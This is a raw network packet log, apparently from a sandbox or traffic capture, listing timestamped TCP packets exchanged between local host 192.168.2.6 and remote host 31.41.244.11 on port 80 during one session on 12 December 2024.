Dec 12, 2024 21:50:13.108608007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.109082937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.109157085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.109181881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.109199047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.109245062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.109245062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.109831095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.109915018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.109945059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.109961033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.109988928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.110048056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.110567093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.110666990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.110820055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.110923052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.110938072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.110980988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.111040115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.111685991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.111763954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.111778975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.111833096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.111833096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.112405062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.112525940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.112543106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.112554073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.112997055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.113126993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.113275051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.113291025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.113300085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.113440037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.113876104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.113979101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.114027023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.114042997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.114105940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.114665031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.114731073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.114763975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.114778996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.114855051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.115655899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.115782976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.115799904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.115811110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.115849972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.115916014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.116158009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.116242886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.116275072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.116291046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.116333008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.116333008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.116904974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.117058039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.117074013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.117083073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.117120028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.117120028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.117712975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.117832899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.117846012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.117861986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.117904902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.117904902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.118803978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.118904114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.118920088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.118931055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.118973970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.119354010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.119421005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.119453907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.119471073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.119493961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.119543076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.119956017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.120009899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.285927057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.285953045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.285972118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.286004066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.286051989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.286051989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.286147118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.286205053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.286319971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.286335945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.286360979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.286417007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.286786079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.286883116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.286900043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.286907911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.286946058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.287601948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.287708044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.287756920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.287772894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.287813902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.287813902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.288355112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.288469076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.288486004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.288492918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.288598061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.289134979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.289205074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.289248943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.289264917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.289311886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.289311886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.289923906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.289997101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.290107012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.290122986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.290174961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.290174961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.290632963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.290714025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.290781975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.290800095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.290854931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.290854931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.291398048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.291486979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.291537046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.291554928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.291749001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.292143106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.292232990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.292275906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.292292118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.292404890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.292891026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.292965889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.293008089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.293026924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.293066025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.293111086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.293620110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.293740988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.293807030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.293822050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.293899059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.294641972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.294657946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.294673920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.294900894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.295201063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.295334101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.295449018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.295464993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.295521975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.295521975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.295927048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.296181917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.296197891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.296258926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.296258926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.296674013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.296794891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.296813011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.296869040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.296869040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.297534943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.297696114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.297712088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.297722101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.297883987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.298291922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.298367023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.298461914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.298480988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.298531055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.298532009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.299014091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.299186945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.299205065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.299226999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.299534082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.299731016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.299860001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.299902916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.299921036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.299943924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.300031900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.300550938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.300688982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.300704956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.300765991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.300765991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.301282883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.301440001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.301456928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.301469088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.301561117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.302031040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.302233934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.302256107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.302263975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.302612066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.302839994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.302978039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.303162098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.303272009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.303289890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.303306103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.303519964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.303950071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.304014921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.304030895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.304089069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.304089069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.304584026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.304672956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.304688931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.304743052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.304743052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.305366039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.305454969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.305480003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.305546045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.305577040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.306212902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.306221008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.306297064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.306312084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.306322098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.306960106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.306988001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.307104111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.307156086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.307172060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.307228088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.307627916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.307743073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.307744980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.307761908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.307785988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.307840109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.308386087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.308495045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.308510065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.308515072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.308554888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.308554888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.309199095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.309263945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.309293032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.309309959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.309418917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.309894085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.309994936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.310044050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.310060978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.310102940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.310102940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.310709953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.310805082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.310868979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.310885906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.311369896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.311448097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.311532974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.311548948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.311595917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.311595917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.312177896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.312246084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.479367018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.479409933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.479450941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.479542971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.479795933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.480031967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.480050087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.480103970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.480398893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.480567932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.480586052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.480633020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.481213093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.481292009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.481307983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.481339931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.481360912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.481848001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.481895924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.481942892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.481959105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.482017040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.482384920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.482553959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.482569933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.482614040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.482630968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.483068943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.483104944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.483122110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.483125925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.483150959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.483166933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.483654976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.483752012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.483755112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.483771086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.484143972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.484179974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.484323978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.484343052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.484369040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.484391928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.484958887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.485042095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.485157013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.485177994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.485215902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.485773087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.485826015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.485871077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.485889912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.485927105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.486433983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.486490011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.486506939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.486535072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.486565113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.486953020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.487004995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.487047911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.487099886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.487341881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.487767935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.487799883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.487816095 CET	80	49878	31.41.244.11	192.168.2.6
